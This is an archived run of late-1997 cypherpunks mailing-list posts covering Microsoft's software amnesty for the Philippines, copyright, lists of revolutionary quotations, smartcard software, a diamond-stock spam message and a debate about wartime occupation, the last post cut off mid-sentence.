    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Galt <jongalt@pinn.net>
Date: Tue, 25 Nov 1997 11:55:19 +0800
To: cypherpunks@toad.com
Subject: Microsoft/Phillipines
Message-ID: <Pine.SUN.3.91.971124223818.2537B-100000@everest.pinn.net>
MIME-Version: 1.0
Content-Type: text/plain



This is from Infobeat News - Morning Edition, 11/24/97

> *** Microsoft grants software amnesty to Philippines
>
> Philippines President Fidel Ramos met with Microsoft Corp. Chairman
> Bill Gates Friday and collected a certificate legalizing much of his
> government's pirated computer software. After a ceremony to observe
> the signing of agreements tightening relations between the software
> giant and the Philippines, Gates gave Ramos a license for free
> software that was the equivalent of a partial declaration of amnesty.
> The license allows the Philippine government to use older Microsoft
> products, such as the DOS operating system, that previously were
> being used illegally by many government agencies. See
> http://www.infobeat.com/stories/cgi/story.cgi?id=6086523-f4f

I think it is really cool that a private company can actually negotiate 
somewhat as an equal with a government.  One implication of this is that 
Microsoft is becoming a more powerful corporation - which is not 
necessarily a good thing.

But the other thing it might imply is that the power of government is 
slipping - which is definitely a good thing.

______________________________________________________________________
Jon Galt
e-mail:  jongalt@pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
Democracy is two wolves and a sheep voting on what to have for dinner.
______________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 25 Nov 1997 13:04:57 +0800
To: cypherpunks@toad.com
Subject: Re: Copyrights and Wrongs, from The Netly News
In-Reply-To: <Pine.SUN.3.91.971124220936.27317E-100000@everest.pinn.net>
Message-ID: <347A598B.6266@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Jon Galt wrote:
> On Mon, 24 Nov 1997, Mikhael Frieden wrote:
> >         Perhaps but there is something particularly obnoxious to the rule
> > of law when scum like McVay being able to say to the effect, 'I know I am
> > stealing from you. Sue me.'

> I'll mention something else that is simply not done in civilized
> society:  forcefully preventing someone from peacefully using information
> that they have, simply because someone else supposedly "owns" that
> information.
> 
> I'm not making any comment about the people that were referred to above.
> I'm making a comment about copyright laws.
> 
> You cannot *own* an idea.

Copyright is one of those ideas which seems to have more benefits than
downsides until it actually comes into common use in a wide variety
of areas. As always, the thieves and scum at the top of the food chain
manage to mark the legislative trail so that all roads lead to their
own hungry mouths.

Thanks to copyright, instead of listening to the spritit of the muse,
we end up listening to the canned muzak in the supermarket, and the
shrink-wrapped former musicians on the radio.
Copyright invariably ends up being 'Corporationright.'

The standard argument for Copyright is that it encourages creative
people to produce and share ideas, etc.
Bullshit. It encourages Record Companies to pay songwriters a 
hundred bucks a week to live in a shack at the back of the parking
lot and crank out ten or twenty bullshit tunes a day. It also
encourages the companies to promote dogs that they have heavy
(cocaine up the nose) investments in, and add a lot of flash to 
the packaging so nobody notices their 'artists' are just barking.

The same applies to drug and pharmaceutical copyrights.
All of a sudden, Madam Curie's grandaughter can't experiment 
with titanium, because it sounds like uranium, and the corporate
lawyers are worried. Marcus Polo can't work on a cure for
Polio, because the bean counters have determined that there
is more money in treating Polo injuries, and they get a kickback
from the gypsum companies that provide cast materials.

Copyright, in the end, leads to labor and products being priced,
not according to their usefulness, but according to what level
of restriction there is as to who is 'allowed' to produce or
use the ideas inherent in the labor or product.

Copyright is an excellent example of a legislative construct
which is not dripping with inherent evilness, having no redeeming
value, but is actually a rather innocuous little wart which 
has been legislated into becoming a giant cancer by those who
have positioned themselves to make money off its treatment.

Be wary of legislators who propose legislation which contains
fine print saying, "Except for me and my pals..."

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 25 Nov 1997 13:23:00 +0800
To: cypherpunks@ssz.com
Subject: revq.html
Message-ID: <199711250507.XAA16468@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   Revolutionary Quotes
   
   
          
   We built your fort. We will not have it used against us.
          John Wayne Allegheny Uprising
          
   
          
   Restrictions of free thought and free speech is the most dangerous of
          all subversions. It is the one un-American act that could most
          easily defeat us.
          William O. Douglas
          
   
          
   The shepherd drives the wolf from the sheep's for which the sheep
          thanks the shepherd as his liberator, while the wolf denounces
          him for the same act as the destroyer of liberty. Plainly, the
          sheep and the wolf are not agreed upon a definition of liberty.
          
          Abraham Lincoln 
          
   
          
   The Revolution was effected before the war commenced. The Revolution
          was in the minds and hearts of the people. This radical change
          in the principles, opinions, sentiments and affections of the
          people was the real American Revolution.
          John Adams
          
   
          
   Those who make peaceful revolution impossible will make violent
          revolution inevitable.
          John F. Kennedy
          
   
          
   Each time a man stands up for an ideal, or acts to improve the lot of
          others, or strikes out against injustice, he sends forth a tiny
          ripple of hope...build(ing) a current that can sweep down the
          mightiest walls of oppression and resistance.
          Robert F. Kennedy
          
   
          
   Those who suppress freedom always do so in the name of law and order.
          John V. Lindsay
          
   
          
   Those who profess to favor freedom, and yet depreciate agitation, are
          men who want rain without thunder and lightning.
          Frederick Douglass
          
   
          
   All civilization has from time to time become a thin crust over a
          volcano of revolution.
          Havelock Ellis
          
   
          
   Man's capacity for justice makes democracy possible, but man's
          inclination to injustice makes democracy necessary.
          Reinhold Niebuhr
          
   
          
   This country, with its institutions, belongs to the people who inhabit
          it. Whenever they shall grow weary of the existing government,
          they can exercise their constitutional right of amending it, or
          their revolutionary right to dismember or overthrow it.
          Abraham Lincoln
          
   
          
   The French Revolution of a hundred and fifty years ago gradually
          ushered in an age of political equality, but the times have
          changed, and that by itself is not enough today. The boundaries
          of democracy have to be widened now so as to include economic
          equality also. This is the great revolution through which we
          are all passing.
          Jawaharlal Nehru
          
   
          
   If our economy of freedom fails to distribute wealth as ably as it has
          created it, the road to dictatorship will be open to any man
          who can persuasively promise security to all.
          Will Durant
          
   
          
   Any doctrine that weakens personal responsibility for judgement and
          for action helps create the attitudes that welcome and support
          the totalitarian state.
          John Dewey
          
   
          
   I call that mind free which jealously guards its intellectual rights
          and powers, which calls no man master, which does not content
          itself with a passive or hereditary faith, which opens itself
          to light whencesoever it may come, which receives new truth as
          an angel from Heaven.
          William Ellery Channing
          
   
          
   A society of sheep must in time beget a government of wolves.
          Bertrand de Jouvenel
          
   
          
   All the higher, more penetrating ideals are revolutionary. They
          present themselves far less in the guise of effects of past
          experience than in that of probable causes of future
          experience.
          William James
          
   
          
   A regime, an established order, is rarely overthrown by a
          revolutionary movement; usually a regime collapses of its own
          weakness and corruption and then a revolutionary movement
          enters among the ruins and takes over the powers that have
          become vacant.
          Walter Lippman
          
   
          
   Government is, or ought to be, instituted for the common benefit and
          security of the people, nation or community; whenever any
          government shall be found inadequate or contrary to these
          purposes, a majority of the community hath an indubitable,
          unalienable, indefeasible right, to reform, alter, or abolish
          it, in such manner as shall be judged most conducive to the
          public Weal.
          George Mason
          
   
          
   You can never have a revolution in order to establish a democracy. You
          must have a democracy in order to have a revolution.
          G.K. Chesterton
          
   
          
   Here in America we a descended in blood and in spirit from
          revolutionists and rebels- men and women who dared to dissent
          from accepted doctrine. As their heirs, we may never confuse
          honest dissent with disloyal subversion.
          Dwight Eisenhower
          
   
          
   There is no substitute for a militant freedom.
          Calvin Coolidge
          
   
          
   He who would be free must strike the first blow.
          Frederick Douglass
          
   
          
   Those who give the first shock to a state are the first overwhelmed in
          its ruin; the fruits of public commotion are seldom enjoyed by
          him who was the first mover; he only beats the water for
          another's net.
          Michel De Montaigne
          
   
          
   There is a kind of revolution of so general a character that it
          changes the tastes as well as the fortunes of the world.
          La Rochefoucauld
          
   
          
   The art of revolutionizing and overturning states is to undermine
          established customs, by going back to their origin, in order to
          mark their want of justice.
          Blaise Pascal
          
   
          
   Whenever the legislators endeavor to take away and destroy the
          property of the people, or to reduce them to slavery under
          arbitrary power, they put themselves into a state of war with
          the people, who are thereupon absolved from any further
          obedience, and are left to the common refuge which God hath
          provided for all men against force and violence.
          John Locke
          
   
          
   Everything I see about me is sowing the seeds of a revolution that is
          inevitable, though I shall not have the pleasure of seeing it.
          The lightning is so close at hand that it will strike at the
          first chance, and then there will be a pretty uproar. The young
          are fortunate, for they will see fine things.
          Voltaire
          
   
          
   The most sensible and jealous people are so little attentive to
          government that there are no instances of resistance until
          repeated, multiplied oppressions have placed it beyond a doubt
          that their rulers had formed settled plans to deprive them of
          their liberties; not to oppress an individual or a few, but to
          break down the fences of a free constitution, and deprive the
          people at large of all share in the government, and all the
          checks by which it is limited.
          John Adams
          
   
          
   It is an observation of one of the profoundest inquirers into human
          affairs that a revolution of government is the strongest proof
          that can be given by a people of their virtue and good sense.
          John Adams
          
   
          
   To dare: that is the whole secret of revolutions.
          Antoine Saint-Just
          
   
          
   An oppressed people are authorized whenever they can to rise and break
          their fetters.
          Henry Clay
          
   
          
   Wherever a man comes, there comes revolution. The old is for slaves.
          Ralph Waldo Emerson
          
   
          
   Let the ruling classes tremble at a Communist revolution. The
          proletarians have nothing to lose but their chains. They have a
          world to win. Working men of all countries, unite!
          Karl Marx and Friedrich Engels
          
   
          
   All men recognize the right of revolution: that is, the right to
          refuse allegiance to, or to resist, the government when its
          tyranny or its inefficiency are great and unendurable.
          Henry David Thoreau
          
   
          
   Insurgents are like conquerors: they must go forward. The moment they
          are stopped they are lost.
          Wellington
          
   
          
   Revolutions are not made: they come. A revolution is as natural a
          growth as an oak. It comes out of the past. Its foundations are
          laid far back.
          Wendell Phillips
          
   
          
   Revolutions never go backwards.
          William Henry Steward
          
   
          
   The French revolution was a machine invented and constructed for the
          purpose of manufacturing liberty; but it had neither lever
          cogs, nor adjusting powers, and the consequences were that it
          worked so rapidly that it destroyed its own inventors, and set
          itself on fire.
          C.C. Colton
          
   
          
   Great revolutions, whatever may be their causes, are not lightly
          commenced, and are not concluded with precipitation.
          Benjamin Disraeli
          
   
          
   A reform is a correction of abuses; a revolution is a transfer of
          power.
          E.G. Bulwer-Lytton
          
   
          
   Whenever the ends of government are perverted, and public liberty
          manifestly endangered, and all other means of redress are
          ineffectual, the people may, and of a right ought to reform the
          old, or establish a new government; the doctrine of
          non-resistance against arbitrary power and oppression is
          absurd, slavish and destructive of the good and happiness of
          mankind.
          Declaration of Rights, Maryland
          
   
          
   There are but three ways for the populace to escape its wretched lot.
          The first two are by the routes of the wine-shop or the church;
          the third is by that of the social revolution.
          M.A. Bakunin
          
   
          
   Revolutions are not made by men in spectacles.
          Oliver Wendell Holmes Sr.
          
   
          
   Revolutions are not made with rosewater.
          E.G. Bulwer-Lytton
          
   
          
   It is not the insurrections of ignorance that are dangerous, but the
          revolts of intelligence.
          James Russell Lowell
          
   
          
   The right to revolution is an inherent one. When people are oppressed
          by their government, it is a natural right they enjoy to
          relieve themselves of the oppression, if they are strong
          enough, either by withdrawal from it, or by overthrowing it and
          substituting a government more acceptable.
          U.S. Grant
          
   
          
   Revolutions can no longer be achieved by minorities. No matter how
          energetic and intelligent a minority may be, it is not enough,
          in modern times at least, to make a revolution. The cooperation
          of a majority, and a large majority too, is needed.
          Jean Jaures
          
   
          
   One of the chief symptoms of every revolution is the sharp and sudden
          increase in the number of ordinary people who take an active,
          independent and forceful interest in politics.
          Nikolai Lenin
          
   
          
   It is impossible to predict the time and progress of revolution. It is
          governed by its own more or less mysterious laws. But when it
          comes it moves irresistibly.
          Nikolai Lenin
          
   
          
   We must enter and take possession of the consciences of the children,
          of the consciences of the young, because they do belong, and
          should belong to the revolution.
          Plutarco Calles
          
   
          
   Those who are inclined to compromise can never make a revolution.
          Kemal Ataturk
          
   
          
   He that accepts protection, stipulates obedience. We have always
          protected the Americans; we may therefore subject them to
          government.
          Samuel Johnson
          
   
          
   If there was ever a just war since the world began, it is this in
          which America is now engaged.
          Thomas Paine
          
   
          
   I desired as many as could to join together in fasting and prayer,
          that God would restore the spirit of love and of a sound mind
          to the poor deluded rebels in America.
          John Wesley
          
   
          
   If I were an American, as I am an Englishman, while a foreign troop
          was landed in my country I never would lay down my arms,-
          never! never! never!
          William Pitt
          
   
          
   The American Revolution was a vindication of liberties inherited and
          possessed. It was a conservative revolution.
          William E. Gladstone
          
   
          
   Who draws his sword against his prince must throw away the scabbard.
          James Howell
          
   
          
   Rebellion to tyrants is obedience to God.
          Thomas Jefferson
          
   
          
   My call is the call of battle- I nourish active rebellion;/ He going
          with me must go well armed.
          Walt Whitman
          
   
          
   Disobedience in the eyes of any one who has read history is man's
          original virtue. It is through disobedience that progress has
          been made, through disobedience and through rebellion.
          Oscar Wilde
          
   
          
   Disobedience, the rarest and most courageous of the virtues, is seldom
          distinguished from neglect, the laziest and commonest of the
          vices.
          George Bernard Shaw
          
   
          
   Tyranny brings ignorance and brutality with it. It degrades men from
          their just rank into the class of brutes; it damps their
          spirits; it suppresses art; it extinguishes every spark of
          noble ardor and generosity in the breasts of those who are
          enslaved by it; it makes naturally strong and great minds
          feeble and little, and triumphs over the ruins of virtue and
          humanity.
          Jonathan Mayhew
          
   
          
   No government power can be abused long. Mankind will not bear it.
          Samuel Johnson
          
   
          
   Some boast of being friends to government; I am a friend to righteous
          government, to a government founded upon the principles of
          reason and justice; but I glory in publicly avowing my eternal
          enmity to tyranny.
          John Hancock
          
   
          
   The evils of tyranny are rarely seen but by him who resists it.
          John Hay
          
   
          
   It is lawful and hath been held so through all ages for any one who
          have the power to call to account a tyrant or wicked king, and
          after due conviction to depose and put him to death.
          John Milton
          
   
          
   If a sovereign oppresses his people to a degree they will rise and cut
          off his head. There is a remedy in human nature against tyranny
          that will keep us safe under every form of government.
          Samuel Johnson
          
   
          
   'Twixt kings and tyrants there's this difference known;/ Kings seek
          their subjects' good: tyrants their own.
          Robert Herrick
          
   
          
   The mob is easily led and may be moved by the smallest force, so that
          its agitations have a wonderful resemblance to those of the
          sea.
          Polybius
          
   
          
   The common people suffer when the powerful disagree.
          Phaedrus
          
   
          
   Do not wonder if the common people speak more truly than those above
          them: they speak more safely.
          Francis Bacon
          
   
          
   Do not be too severe upon the errors of the people, but reclaim them
          by enlightening them.
          Thomas Jefferson
          
   
          
   The people are the only sure reliance for the preservation of our
          liberty.
          Thomas Jefferson
          
   
          
   I am not among those who fear the people. They, and not the rich, are
          our dependence for continued freedom.
          Thomas Jefferson
          
   
          
   The welfare of the people is the supreme law.
          Motto of Missouri
          
   
          
   In your dread of dictators you established a state of society in which
          every ward boss is a dictator, every private employer a
          dictator, every financier a dictator, all with the livelihood
          of the workers at his mercy, and no public responsibility.
          George Bernard Shaw
          
   
          
   It is the old practice of despots to use a part of the people to keep
          the rest in order.
          Thomas Jefferson
          
   
          
   Arbitrary rule has its basis, not in the strength of the state or the
          chief, but in the moral weakness of the individual, who submits
          almost without resistance to the domineering power.
          Friedrich Hatzel
          
   
          
   Despotism has forever had a powerful hold upon the world. Autocratic
          government, not self-government, has been the prevailing state
          of mankind. The record of past history is the record, not of
          the success of republics, but of their failure.
          Calvin Coolidge
          
   
          
   It violates right order whenever capital so employs the working or
          wage-earning classes as to divert business and economic
          activity entirely to its own arbitrary will and advantage,
          without any regard to the human dignity of the workers, the
          social character of economic life, social justice, and the
          common good.
          Pope Pius XI
          
   
          
   The foundation on which (our government is) built is the natural
          equality of man, the denial of every pre-eminence but that
          annexed to legal office, and particularly the denial of a
          pre-eminence by birth.
          Thomas Jefferson
          
   
          
   When the government violates the people's rights, insurrection is, for
          the people and for each portion of the people, the most sacred
          of rights and the most indispensable of duties.
          Marquis De Lafayette
          
   
          
   Revolution is the larva of civilization.
          Victor Hugo
          
   
          
   General rebellions and revolts of a whole people never were encouraged
          now or at any time. They are always provoked.
          Edmuns Burke
          
   
          
   It is only by instigation of the wrongs of men that what we call the
          rights of men become turbulent and dangerous.
          James Russell Lowell
          
   
          
   Revolutions are like the most noxious dungheaps, which bring into life
          the noblest vegetables.
          Napoleon
          
   
          
   When all other rights are taken away, the right of rebellion is made
          perfect.
          Thomas Paine
          
   
          
   Caesar had his Brutus, Charles the First his Cromwell, and George the
          Third may profit by their example. If this be treason, make the
          most of it.
          Patrick Henry
          
   
          
   None but tyrants have any business to be afraid.
          Hardouin de Perefixe
          
   
          
   He who strikes terror into others is himself in continual fear.
          Claudian
          
   
          
   Tyrants have not yet discovered any chains that can fetter the mind.
          Colton
          
   
          
   There is something about men more capable of shaking despotic power
          than lightening, whirlwind, or earthquake, that is, the
          threatened indignation of the whole civilized world.
          Daniel Webster
          
   
          
   Anarchy is the sure consequence of tyranny; for no power that is not
          limited by laws can ever be protected by them.
          John Milton
          
   
          
   One sharp, stern struggle, and the slaves of centuries are free.
          George Massey
          
   
          
   The bigger a state becomes the more liberty diminishes.
          Jean Jacques Rousseau
          
   
          
   Every generation must wage a new war for freedom against new forces
          which seek through new devices to enslave mankind.
          Progressive Party Platform
          
   
          
   The people never give up their liberties but under some delusion.
          Edmund Burke
          
   
          
   Tyrants are always assassinated too late. That is their great excuse.
          E.M. Cioran
          
          
   There is nothing more difficult to take in hand, more perilous to
          conduct, or more uncertain in its success, than to take the
          lead in the introduction of a new order of things.
          Machiavelli
          
   
   
   Archimedes' Cockpit | Democracy Wall





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 25 Nov 1997 13:26:18 +0800
To: cypherpunks@ssz.com
Subject: quotes2.htm#During-the-War:
Message-ID: <199711250528.XAA16560@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   
   
   Revolutionary War Quotations
   
   By Kristen Ballard
   
   Contents:
   
   Introduction | Before the War | During the War | Conclusion |
   Bibliography
   
   Introduction:
   
   Many famous quotes came from the Revolutionary War. Quotes were said
   by people to express and tell other people their feelings. Many quotes
   effected people during battles, and some quotes led to the beginning
   of some battles.
     _________________________________________________________________
   
   
   
   Before The War:
   
   
   
   "If this be treason, make the most of it!"
   
   This quote was said by Patrick Henry at the time of the Stamp Act in
   1964. His purpose for saying this was to defend himself. This quote
   helped from a patriot group called the Stamp Act Congress.
     _________________________________________________________________
   
   
   
   
   
   "If our Trade be taxed, why not our Lands, or Produce... in short,
   everything we possess? They tax us without having legal
   representation."
   
   This quote was said by Samuel Adams after the Stamp Act of 1765. His
   purpose for saying this was to make people go against the idea of
   having the trade taxed. The effect it had was it made other Americans
   think about what had happened and many became discontent.
     _________________________________________________________________
   
   
   
   
   
   "The distinctions between Virginians, Pennsylvanians, New Yorkers, and
   New Englanders are no more. I AM NOT A VIRGINIAN, BUT AN AMERICAN!"
   
   This quote was said by Patrick Henry in 1774 right after the Boston
   Tea Party had taken place. His purpose for saying this was to keep
   self-interest from destroying the common effort of some Americans. The
   effect it had was that it made American colonists work together and it
   angered the British.
     _________________________________________________________________
   
   
   
   
   
   "... the very tails of American sheep are so are so laden with wool that
   each sheep has little wagon to support its tail and to keep it from
   trailing on the ground."
   
   This quote was written by Benjamin Franklin after "Braddock's Defeat"
   in the London Chronicle. His purpose for saying this was to mock the
   English. It made the English mad and brought up several arguments
   about governing the colonies in America.
     _________________________________________________________________
   
   
   
   
   
   "... I know not what course others may take, but as for me, give me
   liberty or give me death!"
   
   This quote was said by Patrick Henry at a meeting of the First
   Continental Congress in 1774. His purpose for saying this was to make
   the Americans fight for liberty and independence. The effect it had
   was it played an important part on the making of the Declaration of
   Independence.
     _________________________________________________________________
   
   
   
   During the War:
   
   
   
   "Don't fire unless fired upon, but if they mean to have a war, let it
   begin here."
   
   This quote was said by Captain John Parker after Paul Revere's ride in
   April of 1775 in the town of Lexington. His purpose for saying this
   was that he didn't want to start the war, but if the British did, they
   would fight. This began the Revolutionary War when one shot went off
   because all of the British men started firing furiously.
     _________________________________________________________________
   
   
   
   
   
   "..Should the colonies send an army of two or three thousand man and
   attack Montreal, we should have little to fear from the Canadians or
   Indians, and would easily make a conquest of that place... "
   
   This quote was written by Ethan Allen in 1775 after the war had begun.
   His purpose for saying this was because he wanted to fight the British
   and to tell his army that they shouldn't be afraid of the Indians or
   the Canadians because they could defeat them. This made it impossible
   for restoration of harmony.
     _________________________________________________________________
   
   
   
   
   
   "I move that these united colonies ought to be free and independent..."
   
   This quote was said by Richard Henry Lee in 1776 at the writing of the
   Deceleration of Independence. His purpose for saying this was to tell
   how the American colonists felt about freedom and independence.
     _________________________________________________________________
   
   
   
   
   
   "...On our side, the war should be defensive... we are now in a
   [dangerous] position. Declining an engagement to flight may throw
   discouragement over the minds of many, but when the fate of America
   may be at Stake, we should continue the war as long as possible..."
   
   This quote was written by George Washington in 1776. His purpose for
   saying this was to tell the Congress that the only way that the small
   Continental Army could win was to fight defensively, and to attack
   only when victory was certain.
     _________________________________________________________________
   
   
   
   
   
   "Sink or swim, live or die, survive or perish."
   
   This quote was said be John Adams in 1776 just before the writing of
   the Declaration of Independence. The reason he said this was because
   he was standing up for the idea of the colonies being independent.
     _________________________________________________________________
   
   
   
   
   
   "These are the times that try men's souls..."
   
   This quote was written by Thomas Paine after the writing of the
   Declaration of Independence in a forty-seven page pamphlet called
   Common Sense. His purpose for saying this was to try to persuade the
   Americans to demand independence, rather then try to patch up their
   differences with Great Britain. The effect it had was it made George
   Washington start to prepare his army.
     _________________________________________________________________
   
   
   
   
   
   "I only regret that I have but one life to lose for my country."
   
   This famous quote was said by Nathan Hale at the retreat of the
   British from New York in August of 1776. His purpose for saying this
   was these were his last words before he was hanged. This quote showed
   the spirit of the fighting Americans.
     _________________________________________________________________
   
   
   
   
   
   "May it please Your Honor, I surrounded them!"
   
   This quote was said by Sam Clowney at the Battle of Camden. He said
   this because he was fooling five Tories into believing that he had a
   whole army with him. The effect it had was Clowney took them prisoner
   and he impressed Colonel Thomas.
     _________________________________________________________________
   
   
   
   
   
   "Where a goat can go, a man can go; and where a man can go, he can
   drag a gun."
   
   This quote was said by Gentleman Johnny Burgoyne at the Battle at
   Mount Defiance. He said this to encourage his troops to drag their
   cannons and weapons up Sugarloaf Mountain (Mount Defiance). The effect
   it had was General St. Clair ordered the patriots to abandon the fort
   because they knew that they were at the mercy of the men on Sugarloaf
   Mountain.
     _________________________________________________________________
   
   
   
   
   
   "...Let us die here rather than retreat."
   
   This quote was said by Alexander Hamilton at the Battle of Monmouth.
   He said this to convince General Lee not to retreat. The effect it had
   was it gave General Lee hope. It also caused the British to retreat
   and sneak away to New York.
     _________________________________________________________________
   
   
   
   
   
   "Tie up overcoats, pick touch-holes, fresh prime, and be ready to
   FIGHT!"
   
   This quote was said by Ben Cleveland at the Battle of Kings Mountain.
   He said this as the Americans were going out to fight the British. He
   said this to prepare his men for the battle. The effect it had was it
   made the Americans aware of how badly Cleveland wanted to win this
   battle. The Americans surrounded the British and took six hundred
   prisoners.
     _________________________________________________________________
   
   
   
   
   
   "...I know the cause it desperate; but Sir, we must either quit the
   country or attack."
   
   This quote was said by George Rogers Clark at the Battle of Vincennes
   in February of 1779. His reason for saying this was to convince
   Patrick Henry that Clark and his men must attack the Hair Buyer and
   his men or give up completely. The effect it had was the Indians fled
   because they believed Clark had about a thousand men at the bottom of
   a hill.
     _________________________________________________________________
   
   
   
   
   
   "I have not yet begun to fight!"
   
   This quote was said by John Paul Jones at the battle between the
   Bonhomme Richard and the Serapis in September of 179. His purpose for
   saying this was to show that he was not going to give up. The effect
   it had was the battle continued for two more hours and soon after
   that, the Serapis toppled into the water, forcing Pearson to
   surrender.
     _________________________________________________________________
   
   
   
   
   
   "I request you will witness to the world that I die like a brave man."
   
   
   This quote was said by John André at the attack from West Point in
   August of 1780. He said this because he was hanged when he was
   pronounced a spy and even though he didn't do the crime he didn't
   fight to get free. It had a big effect on certain people. Sir Henry
   Clinton locked himself in his room for three days, and the English
   newspapers raged over the hanging. They called it murder.
     _________________________________________________________________
   
   
   
   
   
   "We began a contest for liberty ill provided with the means for the
   war, relying on our patriotism to supply the deficiency. We expected
   to encounter many wants and distressed... we must bear the present evils
   and fortitude..."
   
   This quote was said by George Washington at the battle of West Point
   in 1781. He wrote this because he was telling the army and the people
   on the home front not to give up or lose heart in the battle.
     _________________________________________________________________
   
   
   
   Conclusion:
   
   Many quotations had important effects on most of the people in the
   Revolutionary War. They made some people very mad, some happy, some
   confused, and they even made some people proud. Quotes had a lot of
   thought put into them. Some people have to this awhile before they can
   understand them.
   
   
   
   Bibliography:
   
   Ingraham, Leonard W. An Album of the Americans Revolution.
   
   New York, New York: Franklin Watts, 1971
   
   Lawson, Don. The American Revolution; America's Fist War for
   Independence.
   
   New York, New York: Abenlard-Schuman, 1974
   
   Reeder, Colonel Red. The Story of the Revolutionary War.
   
   New York, New York: Meredith Press, 1959
     _________________________________________________________________
   
   
   
   Table of Contents | Projects Menu | Greece Home Page





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Tue, 25 Nov 1997 07:17:19 +0800
To: Steve Schear <schear@lvdi.net>
Subject: Re: Mondex help needed
In-Reply-To: <v03102801b09f60a9c75a@[208.129.55.202]>
Message-ID: <Pine.BSF.3.96.971125000014.22620A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 24 Nov 1997, Steve Schear wrote:
> 
> BTW, also had a very interesting discussion with the Chipper folks at COMDEX.

Tell me more. While I have full specifications for Chipknip, it is
extremely difficult to get anything on Chipper. Unless you work for IBM.
BTW, Chipknip (Proton)  will be supported in the next revision of
SIO/STEST, the Cypherpunks Smartcard Developer Association's award winning
software :-) 

We are currently at 1.9, with updates coming out about once a week. Yes, I
know I need to put up a CHANGES file on the site.

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypango@mxtro.com
Date: Tue, 25 Nov 1997 15:41:22 +0800
Subject: Diamonds, diamonds.
Message-ID: <199711250720.XAA02003@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




Cypango Ventures Ltd. ( http://www.mxtro.com/cypango  ) is poised to
join the ranks of Canada's leading diamond producers.  It is anticipated 
that Canada will produce 25 % of the world's diamonds by the end
of 1998.  Cypango has acquired controlling interest in over 3.5 million
acres which surround the soon to be producing BHP/DiaMet 
properties in Canada's Northwest Territories.

BHP/DiaMet is expected to be in production next year, and Cypango 
Ventures, Ltd. has already located five "Kimberlite pipes", the prehistoric 
geological formations that give birth to the world's most
coveted diamonds.

Cypango Ventures, Ltd trades on the Vancouver Stock Exchange under the
symbol "CAV".

Please reply with "remove" in the subject line for easy and permanent 
removal from our mailing list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 25 Nov 1997 16:53:19 +0800
To: cypherpunks@Algebra.COM
Subject: For the ADD Afflicted
Message-ID: <3.0.32.19971125001454.006f1bd8@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




Check out http://www.handle.org for an alternative solution to drugs.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Tue, 25 Nov 1997 14:50:23 +0800
To: Cypherpunks Distributed Remailer <cypherpunks@ssz.com>
Subject: Re: Further costs of war (fwd)
In-Reply-To: <199711250350.VAA16081@einstein.ssz.com>
Message-ID: <19971125013501.07371@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



[ok, there we go again... this will be my last post on the subject which
is way-off topic by now. If it wasn't for the reference to Vichy I
wouldn't answer on the list]

On lun 24 nov  1997 à 09:50:54PM -0600, Jim Choate wrote:
> strategic form is binary or possibly unitary. I would further feel
> historicaly supported to propose that given sufficient time, resources, and
> planning this situation will develop *and* devlolve to either a binary or a
> unitary form. A recent example was the Soviet Union. The interesting question
> is whether the current apparent unitary position of the US will devlove into
> a multi-party situation or whether it can actualy win over by some means the
> other parties to willing cooperation.

That's where we disagree (and other too, I hope). For one thing, you say
yourself "the current unitary position". I don't think today you could
that easily invade Canada, in a remake of 1812 and get away with it that
easily. That, and the fact the concept of nations is dead, or soon to be
(insert here your favorite rant on crypto-anarchy).

> I challenge the thesis that the Japanese would have had to put a soldier in
> every house. Consider the situation in Vichy France and it's relationship
> with German occupiers. The Chinese could certainly have no higher level of
> objectionable feelings. Yet the Vichy French as a rule were quite
> cooperative in supporting German goals. Even to the point of firing on their
> French brothers in North Africa.

Reread my previous posts, I was careful enough to mention Vichy, knowing
that it would pop up later, as a cheap shot. So, I said something like
it works only if you get the approval of the locals, or at least their
indifference (example: Vichy). Discussions of why and how this was
possible is beyond the scope of the current argument, and I don't feel
particulary bound to defend the weakness of my fellow countrymen during
this period. I will just add that even if the population was generally
quiet, the resistance activity was still a constant nuisance. So,
slightly ahead from such a situation, you have, pick up the one you
like, Afghanistan, Tchetchenia (or whatever the english word is), former
Yugoslavia, Vietnam, Algeria (now and when the bad guys were the french)
were maintaining order is a PITA.
As for North Africa, I am not sure about what you are refering to, but
say when the americans arrived in 43, despite orders to resist there
weren't a lot of fights (certainly no fight would have been better but
tension accounts for a great part. Remember Mers-el-Kebir ?)

> Why? The Tripartite Pact wasn't signed until Sept. 27, 1940. A considerable
> time before this Churchill had been sending letters to Mussolini requesting

I never challenged any of these facts. I just gave you one, proving that
Mussolini position changed from hostility to friendship. That's
